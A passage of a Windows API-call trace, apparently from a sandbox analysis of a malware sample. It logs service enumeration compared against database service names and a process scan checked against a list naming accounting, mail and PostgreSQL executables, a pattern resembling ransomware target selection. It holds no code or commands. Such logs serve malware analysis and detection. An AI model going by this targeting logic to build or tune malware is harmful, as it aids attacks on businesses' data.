(lpString1="sqlwriter", lpString2="Power") returned 1 [0220.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0220.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0220.604] lstrlenW (lpString="ProfSvc") returned 7 [0220.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0220.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0220.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0220.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0220.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0220.605] lstrlenW (lpString="RpcEptMapper") returned 12 [0220.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0220.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0220.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0220.605] lstrlenW (lpString="RpcSs") returned 5 [0220.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0220.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0220.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0220.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0220.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0220.605] lstrlenW (lpString="SamSs") returned 5 [0220.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0220.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0220.605] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0220.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0220.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0220.606] lstrlenW (lpString="Schedule") returned 8 [0220.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0220.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0220.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0220.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0220.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0220.606] lstrlenW (lpString="SENS") returned 4 [0220.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0220.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0220.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0220.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0220.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0220.606] lstrlenW (lpString="ShellHWDetection") returned 16 [0220.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0220.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0220.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0220.606] lstrlenW (lpString="Spooler") returned 7 [0220.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0220.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0220.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0220.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0220.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0220.607] lstrlenW (lpString="sppsvc") returned 6 [0220.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0220.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0220.607] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0220.607] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0220.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0220.607] lstrlenW (lpString="swprv") returned 5 [0220.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0220.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0220.607] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0220.607] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0220.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0220.607] lstrlenW (lpString="SysMain") returned 7 [0220.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0220.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0220.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0220.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0220.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0220.607] lstrlenW (lpString="Themes") returned 6 [0220.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0220.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0220.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0220.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0220.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0220.608] lstrlenW (lpString="TrkWks") returned 6 [0220.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0220.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0220.608] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0220.608] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0220.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0220.608] lstrlenW (lpString="UxSms") returned 5 [0220.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0220.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0220.608] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0220.608] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0220.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0220.608] lstrlenW (lpString="VSS") returned 3 [0220.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0220.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0220.608] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0220.608] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0220.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0220.608] lstrlenW (lpString="WdiServiceHost") returned 14 [0220.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0220.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0220.608] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0220.608] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0220.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0220.609] lstrlenW (lpString="WdiSystemHost") returned 13 [0220.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0220.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0220.609] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0220.609] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0220.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0220.609] lstrlenW (lpString="WinDefend") returned 9 [0220.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0220.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0220.609] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0220.609] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0220.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0220.609] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0220.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0220.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0220.609] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0220.609] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0220.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0220.609] lstrlenW (lpString="Winmgmt") returned 7 [0220.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0220.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0220.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0220.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0220.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0220.609] lstrlenW (lpString="wscsvc") returned 6 [0220.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0220.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0220.610] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0220.610] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0220.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0220.610] lstrlenW (lpString="wuauserv") returned 8 [0220.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0220.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0220.610] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0220.610] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0220.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0220.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0220.610] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0220.612] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.613] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.621] lstrlenW (lpString="System") returned 6 [0220.621] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0220.621] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0220.621] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0220.621] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0220.624] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.636] lstrlenW (lpString="smss.exe") returned 8 [0220.636] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.637] lstrlenW (lpString="csrss.exe") returned 9 [0220.637] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.638] lstrlenW (lpString="wininit.exe") returned 11 [0220.638] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.638] lstrlenW (lpString="csrss.exe") returned 9 [0220.639] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.639] lstrlenW (lpString="winlogon.exe") returned 12 [0220.639] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.640] lstrlenW (lpString="services.exe") returned 12 [0220.646] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.647] lstrlenW (lpString="lsass.exe") returned 9 [0220.647] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0220.648] lstrlenW (lpString="lsm.exe") returned 7 [0220.648] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.649] lstrlenW (lpString="svchost.exe") returned 11 [0220.649] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.650] lstrlenW (lpString="svchost.exe") returned 11 [0220.650] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.651] lstrlenW (lpString="svchost.exe") returned 11 [0220.651] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.652] lstrlenW (lpString="svchost.exe") returned 11 [0220.652] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.653] lstrlenW (lpString="svchost.exe") returned 11 [0220.653] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.653] lstrlenW (lpString="audiodg.exe") returned 11 [0220.653] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.654] lstrlenW (lpString="svchost.exe") returned 11 [0220.654] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.655] lstrlenW (lpString="svchost.exe") returned 11 [0220.655] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.656] lstrlenW (lpString="dwm.exe") returned 7 [0220.656] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.657] lstrlenW (lpString="explorer.exe") returned 12 [0220.657] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.658] lstrlenW (lpString="spoolsv.exe") returned 11 [0220.658] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.658] lstrlenW (lpString="taskhost.exe") returned 12 [0220.658] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.697] lstrlenW (lpString="svchost.exe") returned 11 [0220.698] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0220.699] lstrlenW (lpString="taskeng.exe") returned 11 [0220.699] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.700] lstrlenW (lpString="taskhost.exe") returned 12 [0220.700] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0220.701] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0220.701] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0220.702] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0220.702] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0220.703] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0220.703] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0220.704] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0220.704] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0220.705] lstrlenW (lpString="always_winds.exe") returned 16 [0220.705] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0220.706] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0220.706] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0220.707] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0220.707] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0220.725] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0220.725] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0220.726] lstrlenW (lpString="alienwed.exe") returned 12 [0220.726] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0220.727] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0220.727] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0220.728] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0220.728] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0220.729] lstrlenW (lpString="mp beginners.exe") returned 16 [0220.729] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0220.730] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0220.730] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0220.731] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0220.731] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0220.732] lstrlenW (lpString="harassment.exe") returned 14 [0220.732] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0220.736] lstrlenW (lpString="francis-communication.exe") returned 25 [0220.736] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, 